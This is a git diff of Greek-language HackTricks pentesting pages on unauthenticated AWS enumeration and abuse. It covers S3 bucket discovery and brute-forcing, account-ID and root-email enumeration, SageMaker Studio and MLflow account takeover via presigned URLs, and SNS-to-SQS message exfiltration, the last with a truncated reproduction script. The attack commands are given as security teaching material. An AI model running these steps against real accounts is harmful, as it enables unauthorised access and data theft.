- -#### Ληστεία Κάδων S3 - -Δεδομένων των ανοιχτών κάδων S3, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) μπορεί αυτόματα να **αναζητήσει ενδιαφέροντα πληροφορίες**. - -### Βρείτε την Περιοχή - -Μπορείτε να βρείτε όλες τις υποστηριζόμενες περιοχές από το AWS στο [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html) - -#### Μέσω DNS - -Μπορείτε να αποκτήσετε την περιοχή ενός κάδου με ένα **`dig`** και **`nslookup`** κάνοντας ένα **DNS αίτημα της ανακαλυφθείσας IP**: -```bash -dig flaws.cloud -;; ANSWER SECTION: -flaws.cloud. 5 IN A 52.218.192.11 - -nslookup 52.218.192.11 -Non-authoritative answer: -11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com. -``` -Ελέγξτε ότι το αναγνωρισμένο domain έχει τη λέξη "website".\ -Μπορείτε να αποκτήσετε πρόσβαση στον στατικό ιστότοπο πηγαίνοντας στο: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\ -ή μπορείτε να αποκτήσετε πρόσβαση στον κάδο επισκεπτόμενοι: `flaws.cloud.s3-us-west-2.amazonaws.com` - - - -#### Δοκιμάζοντας - -Αν προσπαθήσετε να αποκτήσετε πρόσβαση σε έναν κάδο, αλλά στο **όνομα τομέα καθορίσετε άλλη περιοχή** (για παράδειγμα, ο κάδος είναι στο `bucket.s3.amazonaws.com` αλλά προσπαθείτε να αποκτήσετε πρόσβαση στο `bucket.s3-website-us-west-2.amazonaws.com`, τότε θα σας **υποδειχθεί η σωστή τοποθεσία**: - -![](<../../../images/image (106).png>) - -### Καταμέτρηση του κάδου - -Για να δοκιμάσετε την ανοιχτότητα του κάδου, ένας χρήστης μπορεί απλά να εισάγει το URL στον περιηγητή του. Ένας ιδιωτικός κάδος θα απαντήσει με "Access Denied". Ένας δημόσιος κάδος θα καταγράψει τα πρώτα 1.000 αντικείμενα που έχουν αποθηκευτεί. - -Ανοιχτό σε όλους: - -![](<../../../images/image (201).png>) - -Ιδιωτικός: - -![](<../../../images/image (83).png>) - -Μπορείτε επίσης να το ελέγξετε αυτό με το cli: -```bash -#Use --no-sign-request for check Everyones permissions -#Use --profile to indicate the AWS profile(keys) that youwant to use: Check for "Any Authenticated AWS User" permissions -#--recursive if you want list recursivelyls -#Opcionally you can select the region if you now it -aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile ] [ --recursive] [--region us-west-2] -``` -Αν ο κάδος δεν έχει όνομα τομέα, όταν προσπαθείτε να τον καταγράψετε, **βάλτε μόνο το όνομα του κάδου** και όχι ολόκληρο το domain AWSs3. Παράδειγμα: `s3://` - -### Δημόσιο πρότυπο URL -``` -https://{user_provided}.s3.amazonaws.com -``` -### Λάβετε το ID λογαριασμού από δημόσιο Bucket - -Είναι δυνατόν να προσδιορίσετε έναν λογαριασμό AWS εκμεταλλευόμενοι το νέο **`S3:ResourceAccount`** **Κλειδί Συνθήκης Πολιτικής**. Αυτή η συνθήκη **περιορίζει την πρόσβαση με βάση το S3 bucket** στο οποίο βρίσκεται ένας λογαριασμός (άλλες πολιτικές που βασίζονται σε λογαριασμούς περιορίζουν με βάση τον λογαριασμό στον οποίο βρίσκεται ο αιτών κύριος).\ -Και επειδή η πολιτική μπορεί να περιέχει **wildcards**, είναι δυνατόν να βρείτε τον αριθμό του λογαριασμού **μόνο έναν αριθμό τη φορά**. - -Αυτό το εργαλείο αυτοματοποιεί τη διαδικασία: -```bash -# Installation -pipx install s3-account-search -pip install s3-account-search -# With a bucket -s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket -# With an object -s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext -``` -Αυτή η τεχνική λειτουργεί επίσης με URLs API Gateway, URLs Lambda, σύνολα δεδομένων Data Exchange και ακόμη και για να αποκτήσετε την τιμή ετικετών (αν γνωρίζετε το κλειδί της ετικέτας). Μπορείτε να βρείτε περισσότερες πληροφορίες στην [**πρωτότυπη έρευνα**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) και το εργαλείο [**conditional-love**](https://github.com/plerionhq/conditional-love/) για να αυτοματοποιήσετε αυτή την εκμετάλλευση. - -### Επιβεβαίωση ότι ένα bucket ανήκει σε έναν λογαριασμό AWS - -Όπως εξηγείται σε [**αυτή την ανάρτηση στο blog**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, αν έχετε άδειες για να καταγράψετε ένα bucket** είναι δυνατόν να επιβεβαιώσετε ένα accountID στο οποίο ανήκει το bucket στέλνοντας ένα αίτημα όπως: -```bash -curl -X GET "[bucketname].amazonaws.com/" \ --H "x-amz-expected-bucket-owner: [correct-account-id]" - - -... -``` -Αν το σφάλμα είναι "Access Denied", σημαίνει ότι το ID του λογαριασμού ήταν λάθος. - -### Χρησιμοποιούμενα Emails για την αρίθμηση λογαριασμού root - -Όπως εξηγείται σε [**αυτή την ανάρτηση στο blog**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), είναι δυνατόν να ελέγξετε αν μια διεύθυνση email σχετίζεται με οποιονδήποτε λογαριασμό AWS προσπαθώντας να **παραχωρήσετε άδειες σε μια διεύθυνση email** μέσω ACLs σε ένα S3 bucket. Αν αυτό δεν προκαλέσει σφάλμα, σημαίνει ότι το email είναι χρήστης root κάποιου λογαριασμού AWS: -```python -s3_client.put_bucket_acl( -Bucket=bucket_name, -AccessControlPolicy={ -'Grants': [ -{ -'Grantee': { -'EmailAddress': 'some@emailtotest.com', -'Type': 'AmazonCustomerByEmail', -}, -'Permission': 'READ' -}, -], -'Owner': { -'DisplayName': 'Whatever', -'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef' -} -} -) -``` -## Αναφορές - -- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) -- [https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/](https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md new file mode 100644 index 000000000..b0a189afe --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md @@ -0,0 +1,194 @@ +# AWS - S3 Μη αυθεντικοποιημένη απαρίθμηση + +{{#include ../../../../banners/hacktricks-training.md}} + +## S3 Δημόσια Buckets + +Ένα bucket θεωρείται **«public»** αν **οποιοσδήποτε χρήστης μπορεί να απαριθμήσει τα περιεχόμενα** του bucket, και **«private»** αν τα περιεχόμενα του bucket μπορούν **να απαριθμηθούν ή να γραφτούν μόνο από συγκεκριμένους χρήστες**. + +Οι εταιρείες ενδέχεται να έχουν **λανθασμένες ρυθμίσεις δικαιωμάτων στα buckets**, δίνοντας πρόσβαση είτε σε όλα είτε σε όλους τους αυθεντικοποιημένους χρήστες στο AWS από οποιονδήποτε λογαριασμό (επομένως σε οποιονδήποτε). Σημειώστε ότι ακόμη και με τέτοιες λανθασμένες ρυθμίσεις, ορισμένες ενέργειες ίσως να μην είναι δυνατές επειδή τα buckets μπορεί να έχουν τους δικούς τους access control lists (ACLs). + +**Μάθετε για AWS-S3 misconfiguration εδώ:** [**http://flaws.cloud**](http://flaws.cloud/) **και** [**http://flaws2.cloud/**](http://flaws2.cloud) + +### Finding AWS Buckets + +Διάφορες μέθοδοι για να βρείτε πότε μια ιστοσελίδα χρησιμοποιεί AWS για την αποθήκευση κάποιων πόρων: + +#### Enumeration & OSINT: + +- Χρήση του plugin προγράμματος περιήγησης **wappalyzer** +- Χρήση burp (**spidering** the web) ή με χειροκίνητη πλοήγηση στη σελίδα — όλοι οι **resources** που **φορτώνονται** θα αποθηκευτούν στο History. +- **Ελέγξτε για resources** σε domains όπως: + +``` +http://s3.amazonaws.com/[bucket_name]/ +http://[bucket_name].s3.amazonaws.com/ +``` + +- Ελέγξτε για **CNAMES** καθώς `resources.domain.com` μπορεί να έχει το CNAME `bucket.s3.amazonaws.com` +- **[s3dns](https://github.com/olizimmermann/s3dns)** – Ένας ελαφρύς DNS server που εντοπίζει παθητικά cloud storage buckets (S3, GCP, Azure) αναλύοντας την DNS κίνηση. Εντοπίζει CNAMEs, ακολουθεί αλυσίδες ανάλυσης και ταιριάζει μοτίβα buckets, προσφέροντας μια αθόρυβη εναλλακτική στο brute-force ή στην ανακάλυψη μέσω API. Ιδανικό για recon και OSINT workflows. +- Ελέγξτε [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), έναν ιστότοπο με ήδη **ανακαλυφθέντα open buckets**. +- Το **bucket name** και το **bucket domain name** πρέπει να είναι **ίδια.** +- Το **flaws.cloud** βρίσκεται στην **IP** 52.92.181.107 και αν το επισκεφθείτε σας ανακατευθύνει σε [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Επίσης, `dig -x 52.92.181.107` επιστρέφει `s3-website-us-west-2.amazonaws.com`. +- Για να ελέγξετε ότι είναι bucket μπορείτε επίσης να **επισκεφθείτε** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/). + +#### Brute-Force + +Μπορείτε να βρείτε buckets κάνοντας **brute-forcing name**s σχετικών με την εταιρεία που πραγματοποιείτε pentesting: + +- [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner) +- [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector) +- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Περιέχει λίστα με πιθανά ονόματα buckets) +- [https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets](https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets) +- [https://github.com/smaranchand/bucky](https://github.com/smaranchand/bucky) +- [https://github.com/tomdev/teh_s3_bucketeers](https://github.com/tomdev/teh_s3_bucketeers) +- [https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3) +- [https://github.com/Eilonh/s3crets_scanner](https://github.com/Eilonh/s3crets_scanner) +- [https://github.com/belane/CloudHunter](https://github.com/belane/CloudHunter) + +
# Generate a wordlist to create permutations
+curl -s https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt > /tmp/words-s3.txt.temp
+curl -s https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt >>/tmp/words-s3.txt.temp
+cat /tmp/words-s3.txt.temp | sort -u > /tmp/words-s3.txt
+
+# Generate a wordlist based on the domains and subdomains to test
+## Write those domains and subdomains in subdomains.txt
+cat subdomains.txt > /tmp/words-hosts-s3.txt
+cat subdomains.txt | tr "." "-" >> /tmp/words-hosts-s3.txt
+cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt
+
+# Create permutations based in a list with the domains and subdomains to attack
+goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp
+## The previous tool is specialized increating permutations for subdomains, lets filter that list
+### Remove lines ending with "."
+cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2
+### Create list without TLD
+cat /tmp/final-words-s3.txt.temp2 | sed -E 's/\.[a-zA-Z0-9]+$//' > /tmp/final-words-s3.txt.temp3
+### Create list without dots
+cat /tmp/final-words-s3.txt.temp3 | tr -d "." > /tmp/final-words-s3.txt.temp4http://phantom.s3.amazonaws.com/
+### Create list without hyphens
+cat /tmp/final-words-s3.txt.temp3 | tr "." "-" > /tmp/final-words-s3.txt.temp5
+
+## Generate the final wordlist
+cat /tmp/final-words-s3.txt.temp2 /tmp/final-words-s3.txt.temp3 /tmp/final-words-s3.txt.temp4 /tmp/final-words-s3.txt.temp5 | grep -v -- "-\." | awk '{print tolower($0)}' | sort -u > /tmp/final-words-s3.txt
+
+## Call s3scanner
+s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt  | grep bucket_exists
+
+ +#### Loot S3 Buckets + +Δεδομένων των S3 open buckets, το [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) μπορεί αυτοματοποιημένα να **αναζητήσει ενδιαφέρουσες πληροφορίες**. + +### Find the Region + +Μπορείτε να βρείτε όλες τις υποστηριζόμενες περιοχές από το AWS στη σελίδα [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html) + +#### By DNS + +Μπορείτε να πάρετε την περιοχή ενός bucket με **`dig`** και **`nslookup`** κάνοντας ένα **DNS request της εντοπισμένης IP**: +```bash +dig flaws.cloud +;; ANSWER SECTION: +flaws.cloud. 5 IN A 52.218.192.11 + +nslookup 52.218.192.11 +Non-authoritative answer: +11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com. +``` +Ελέγξτε ότι το επιλυμένο domain περιέχει τη λέξη "website".\ +Μπορείτε να αποκτήσετε πρόσβαση στον στατικό website πηγαίνοντας στο: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\ +ή μπορείτε να αποκτήσετε πρόσβαση στο bucket επισκεπτόμενοι: `flaws.cloud.s3-us-west-2.amazonaws.com` + + + +#### Δοκιμάζοντας + +Αν προσπαθήσετε να αποκτήσετε πρόσβαση σε ένα bucket, αλλά στο **όνομα domain καθορίζετε άλλη περιοχή** (για παράδειγμα το bucket είναι σε `bucket.s3.amazonaws.com` αλλά προσπαθείτε να αποκτήσετε πρόσβαση σε `bucket.s3-website-us-west-2.amazonaws.com`), τότε θα σας **υποδειχθεί η σωστή τοποθεσία**: + +![](<../../../images/image (106).png>) + +### Καταγραφή του bucket + +Για να δοκιμάσετε το πόσο ανοιχτό είναι το bucket, ένας χρήστης μπορεί απλά να εισάγει το URL στον web browser του. Ένα ιδιωτικό bucket θα απαντήσει με "Access Denied". Ένα δημόσιο bucket θα εμφανίσει τα πρώτα 1.000 αντικείμενα που έχουν αποθηκευτεί. + +Προσβάσιμο από όλους: + +![](<../../../images/image (201).png>) + +Ιδιωτικό: + +![](<../../../images/image (83).png>) + +Μπορείτε επίσης να το ελέγξετε αυτό με το CLI: +```bash +#Use --no-sign-request for check Everyones permissions +#Use --profile to indicate the AWS profile(keys) that youwant to use: Check for "Any Authenticated AWS User" permissions +#--recursive if you want list recursivelyls +#Opcionally you can select the region if you now it +aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile ] [ --recursive] [--region us-west-2] +``` +### Πρότυπο δημόσιου URL + +Αν το bucket δεν έχει domain name, όταν προσπαθείτε να το enumerate, **βάλτε μόνο το όνομα του bucket** και όχι ολόκληρο το AWSs3 domain. Παράδειγμα: `s3://` +``` +https://{user_provided}.s3.amazonaws.com +``` +### Ανάκτηση ID λογαριασμού από δημόσιο Bucket + +Είναι δυνατόν να προσδιοριστεί ένας λογαριασμός AWS εκμεταλλευόμενοι το νέο **`S3:ResourceAccount`** **Policy Condition Key**. Αυτή η συνθήκη **περιορίζει την πρόσβαση με βάση το S3 bucket** στο οποίο βρίσκεται ο λογαριασμός (άλλες πολιτικές βάσει λογαριασμού περιορίζουν με βάση τον λογαριασμό στον οποίο ανήκει ο principal που αιτείται).\ +Και επειδή η πολιτική μπορεί να περιέχει **χαρακτήρες μπαλαντέρ** είναι δυνατόν να βρεθεί ο αριθμός λογαριασμού **μόνο ένας αριθμός κάθε φορά**. + +Αυτό το εργαλείο αυτοματοποιεί τη διαδικασία: +```bash +# Installation +pipx install s3-account-search +pip install s3-account-search +# With a bucket +s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket +# With an object +s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext +``` +Αυτή η τεχνική λειτουργεί επίσης με API Gateway URLs, Lambda URLs, Data Exchange data sets και ακόμη και για να λάβεις την τιμή των tags (αν γνωρίζεις το tag key). Μπορείς να βρεις περισσότερες πληροφορίες στην [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) και στο εργαλείο [**conditional-love**](https://github.com/plerionhq/conditional-love/) για την αυτοματοποίηση αυτής της εκμετάλλευσης. + +### Επιβεβαίωση ότι ένα bucket ανήκει σε έναν λογαριασμό AWS + +Όπως εξηγείται στο [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, αν έχεις δικαιώματα για να κάνεις list ένα bucket** είναι δυνατό να επιβεβαιώσεις το accountID στο οποίο ανήκει το bucket στέλνοντας ένα αίτημα όπως: +```bash +curl -X GET "[bucketname].amazonaws.com/" \ +-H "x-amz-expected-bucket-owner: [correct-account-id]" + + +... +``` +Αν το σφάλμα είναι “Access Denied” σημαίνει ότι το account ID ήταν λανθασμένο. + +### Χρησιμοποιημένα Emails ως root account enumeration + +Όπως εξηγείται στο [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), είναι δυνατό να ελεγχθεί αν μια διεύθυνση email σχετίζεται με οποιονδήποτε AWS account με το **προσπαθώντας να παραχωρήσετε δικαιώματα σε μια διεύθυνση email** πάνω σε έναν S3 bucket μέσω ACLs. Αν αυτό δεν προκαλέσει σφάλμα, σημαίνει ότι το email είναι root user κάποιου AWS account: +```python +s3_client.put_bucket_acl( +Bucket=bucket_name, +AccessControlPolicy={ +'Grants': [ +{ +'Grantee': { +'EmailAddress': 'some@emailtotest.com', +'Type': 'AmazonCustomerByEmail', +}, +'Permission': 'READ' +}, +], +'Owner': { +'DisplayName': 'Whatever', +'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef' +} +} +) +``` +## Αναφορές + +- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) +- [https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/](https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md new file mode 100644 index 000000000..343f91559 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md @@ -0,0 +1,108 @@ +# AWS - SageMaker Μη Εξουσιοδοτημένη Πρόσβαση + +{{#include ../../../../banners/hacktricks-training.md}} + +## SageMaker Studio - Απαλλοτρίωση λογαριασμού μέσω CreatePresignedDomainUrl (Προσποίηση οποιουδήποτε UserProfile) + +### Περιγραφή +Μια ταυτότητα με δικαίωμα να καλεί `sagemaker:CreatePresignedDomainUrl` σε έναν στοχευμένο Studio `UserProfile` μπορεί να δημιουργήσει ένα URL σύνδεσης που αυθεντικοποιεί απευθείας στο SageMaker Studio ως αυτό το προφίλ. Αυτό παρέχει στο πρόγραμμα περιήγησης του επιτιθέμενου μια Studio συνεδρία που κληρονομεί τα δικαιώματα `ExecutionRole` του προφίλ και πλήρη πρόσβαση στο home του προφίλ που βασίζεται σε EFS και στις εφαρμογές του. Δεν απαιτείται `iam:PassRole` ή πρόσβαση στην κονσόλα. + +### Απαιτήσεις +- Ένα SageMaker Studio `Domain` και ένα στοχευμένο `UserProfile` μέσα σε αυτό. +- Ο principal του επιτιθέμενου χρειάζεται `sagemaker:CreatePresignedDomainUrl` στο στοχευμένο `UserProfile` (σε επίπεδο πόρου) ή `*`. + +Παράδειγμα ελάχιστης πολιτικής (περιορισμένο σε ένα UserProfile): +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "sagemaker:CreatePresignedDomainUrl", +"Resource": "arn:aws:sagemaker:::user-profile//" +} +] +} +``` +### Βήματα Κατάχρησης + +1) Εντοπίστε ένα Studio Domain και UserProfiles που μπορείτε να στοχοποιήσετε +```bash +DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text) +aws sagemaker list-user-profiles --domain-id-equals $DOM +TARGET_USER= +``` +2) Δημιουργήστε ένα presigned URL (έγκυρο για ~5 λεπτά από προεπιλογή) +```bash +aws sagemaker create-presigned-domain-url \ +--domain-id $DOM \ +--user-profile-name $TARGET_USER \ +--query AuthorizedUrl --output text +``` +3) Άνοιξε το επιστρεφόμενο URL σε έναν περιηγητή για να συνδεθείς στο Studio ως ο στοχευόμενος χρήστης. Σε ένα Jupyter τερματικό μέσα στο Studio επαλήθευσε την ενεργή ταυτότητα: +```bash +aws sts get-caller-identity +``` +Notes: +- `--landing-uri` μπορεί να παραληφθεί. Ορισμένες τιμές (π.χ., `app:JupyterLab:/lab`) ενδέχεται να απορριφθούν ανάλογα με τη διανομή/έκδοση του Studio· οι προεπιλογές συνήθως ανακατευθύνουν στην αρχική σελίδα του Studio και στη συνέχεια στο Jupyter. +- Οι πολιτικές του οργανισμού/περιορισμοί endpoint VPC μπορεί να μπλοκάρουν ακόμη την πρόσβαση στο δίκτυο· η δημιουργία του token δεν απαιτεί σύνδεση στην κονσόλα ή `iam:PassRole`. + +### Επιπτώσεις +- Lateral movement και privilege escalation με ανάληψη οποιουδήποτε Studio `UserProfile` του οποίου το ARN επιτρέπεται, κληρονομώντας το `ExecutionRole` του και το filesystem/apps. + +### Αποδεικτικά στοιχεία (από ελεγχόμενη δοκιμή) +- Με μόνο το `sagemaker:CreatePresignedDomainUrl` σε ένα στοχευμένο `UserProfile`, ο ρόλος του επιτιθέμενου επέστρεψε με επιτυχία ένα `AuthorizedUrl` όπως: +``` +https://studio-d-xxxxxxxxxxxx.studio..sagemaker.aws/auth?token=eyJhbGciOi... +``` +- Μια άμεση HTTP αίτηση απαντά με ανακατεύθυνση (HTTP 302) προς το Studio, επιβεβαιώνοντας ότι το URL είναι έγκυρο και ενεργό μέχρι τη λήξη του. + + +## SageMaker MLflow Tracking Server - ATO μέσω CreatePresignedMlflowTrackingServerUrl + +### Περιγραφή +Μια ταυτότητα με άδεια να καλεί `sagemaker:CreatePresignedMlflowTrackingServerUrl` για έναν στοχευόμενο SageMaker MLflow Tracking Server μπορεί να δημιουργήσει ένα presigned URL μίας χρήσης που αυθεντικοποιείται απευθείας στο managed MLflow UI αυτού του server. Αυτό παρέχει την ίδια πρόσβαση που θα είχε ένας νόμιμος χρήστης στον server (προβολή/δημιουργία experiments και runs, και λήψη/ανέβασμα artifacts στο S3 artifact store του server) χωρίς πρόσβαση στο console ή `iam:PassRole`. + +### Απαιτήσεις +- Ένας SageMaker MLflow Tracking Server στον account/region και το όνομά του. +- Ο attacker principal χρειάζεται `sagemaker:CreatePresignedMlflowTrackingServerUrl` στο target MLflow Tracking Server resource (ή `*`). + +Minimal policy example (scoped to one Tracking Server): +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "sagemaker:CreatePresignedMlflowTrackingServerUrl", +"Resource": "arn:aws:sagemaker:::mlflow-tracking-server/" +} +] +} +``` +### Βήματα Κατάχρησης + +1) Καταγράψτε τους MLflow Tracking Servers που μπορείτε να στοχεύσετε και επιλέξτε ένα όνομα +```bash +aws sagemaker list-mlflow-tracking-servers \ +--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}' +TS_NAME= +``` +2) Δημιουργήστε ένα presigned MLflow UI URL (ισχύει για μικρό χρονικό διάστημα) +```bash +aws sagemaker create-presigned-mlflow-tracking-server-url \ +--tracking-server-name "$TS_NAME" \ +--expires-in-seconds 300 \ +--session-expiration-duration-in-seconds 1800 \ +--query AuthorizedUrl --output text +``` +3) Ανοίξτε το επιστρεφόμενο URL σε ένα πρόγραμμα περιήγησης για να αποκτήσετε πρόσβαση στο MLflow UI ως επαληθευμένος χρήστης για αυτόν τον Tracking Server. + +Notes: +- Ο Tracking Server πρέπει να βρίσκεται σε κατάσταση έτοιμη (π.χ., `Created/Active`). Αν εξακολουθεί να είναι `Creating`, η κλήση θα απορριφθεί. +- Το presigned URL είναι μιας χρήσης και βραχύβιο· δημιουργήστε νέο όταν χρειάζεται. + +### Επιπτώσεις +- Άμεση πρόσβαση στο διαχειριζόμενο MLflow UI για τον στοχευμένο Tracking Server, επιτρέποντας την προβολή και τροποποίηση experiments/runs καθώς και την ανάκτηση ή μεταφόρτωση artifacts που αποθηκεύονται στο ρυθμισμένο S3 artifact store του server, εντός των δικαιωμάτων που επιβάλλει η διαμόρφωση του server. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md deleted file mode 100644 index 6e4c3e228..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md +++ /dev/null @@ -1,21 +0,0 @@ -# AWS - SNS Unauthenticated Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## SNS - -Για περισσότερες πληροφορίες σχετικά με το SNS, ελέγξτε: - -{{#ref}} -../aws-services/aws-sns-enum.md -{{#endref}} - -### Ανοιχτό σε Όλους - -Όταν ρυθμίζετε ένα θέμα SNS από την κονσόλα ιστού, είναι δυνατόν να υποδείξετε ότι **Ο καθένας μπορεί να δημοσιεύσει και να εγγραφεί** στο θέμα: - -
- -Έτσι, αν **βρείτε το ARN των θεμάτων** μέσα στον λογαριασμό (ή κάνετε brute force σε πιθανές ονομασίες για θέματα), μπορείτε να **ελέγξετε** αν μπορείτε να **δημοσιεύσετε** ή να **εγγραφείτε** σε **αυτά**. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md new file mode 100644 index 000000000..f8d9a4444 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md @@ -0,0 +1,55 @@ +# AWS - SNS Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## SNS + +Για περισσότερες πληροφορίες σχετικά με το SNS δείτε: + +{{#ref}} +../../aws-services/aws-sns-enum.md +{{#endref}} + +### Open to All + +Όταν ρυθμίζετε ένα SNS topic από το web console, είναι δυνατό να δηλώσετε ότι **Everyone can publish and subscribe** στο topic: + +
+ +Έτσι, αν **βρείτε τα ARN των θεμάτων** μέσα στον λογαριασμό (ή brute forcing πιθανά ονόματα για θέματα) μπορείτε να **ελέγξετε** αν μπορείτε να **δημοσιεύσετε** ή να **εγγραφείτε** σε **αυτά**. + +Αυτό θα ισοδυναμούσε με μια resource policy για το SNS topic που επιτρέπει το `sns:Subscribe` σε `*` (ή σε εξωτερικούς λογαριασμούς). Οποιοσδήποτε principal μπορεί να δημιουργήσει μια συνδρομή που παραδίδει όλα τα μελλοντικά μηνύματα του topic σε μια SQS ουρά που κατέχει. Όταν ο κάτοχος της ουράς ξεκινά τη συνδρομή, δεν απαιτείται ανθρώπινη επιβεβαίωση για SQS endpoints. + +
+Αναπαραγωγή (us-east-1) +```bash +REGION=us-east-1 +# Victim account (topic owner) +VICTIM_TOPIC_ARN=$(aws sns create-topic --name exfil-victim-topic-$(date +%s) --region $REGION --query TopicArn --output text) + +# Open the topic to anyone subscribing +cat > /tmp/topic-policy.json < /tmp/sqs-policy.json < + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md deleted file mode 100644 index 47b05ea77..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md +++ /dev/null @@ -1,21 +0,0 @@ -# AWS - SQS Unauthenticated Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## SQS - -Για περισσότερες πληροφορίες σχετικά με το SQS, ελέγξτε: - -{{#ref}} -../aws-services/aws-sqs-and-sns-enum.md -{{#endref}} - -### Δημόσιο πρότυπο URL -``` -https://sqs.[region].amazonaws.com/[account-id]/{user_provided} -``` -### Έλεγχος Δικαιωμάτων - -Είναι δυνατόν να παραμετροποιηθεί λανθασμένα μια πολιτική ουράς SQS και να παραχωρηθούν δικαιώματα σε όλους στο AWS να στέλνουν και να λαμβάνουν μηνύματα, οπότε αν αποκτήσετε το ARN των ουρών, δοκιμάστε αν μπορείτε να έχετε πρόσβαση σε αυτές. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md new file mode 100644 index 000000000..48f4c9967 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md @@ -0,0 +1,21 @@ +# AWS - SQS Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## SQS + +Για περισσότερες πληροφορίες σχετικά με το SQS δείτε: + +{{#ref}} +../../aws-services/aws-sqs-and-sns-enum.md 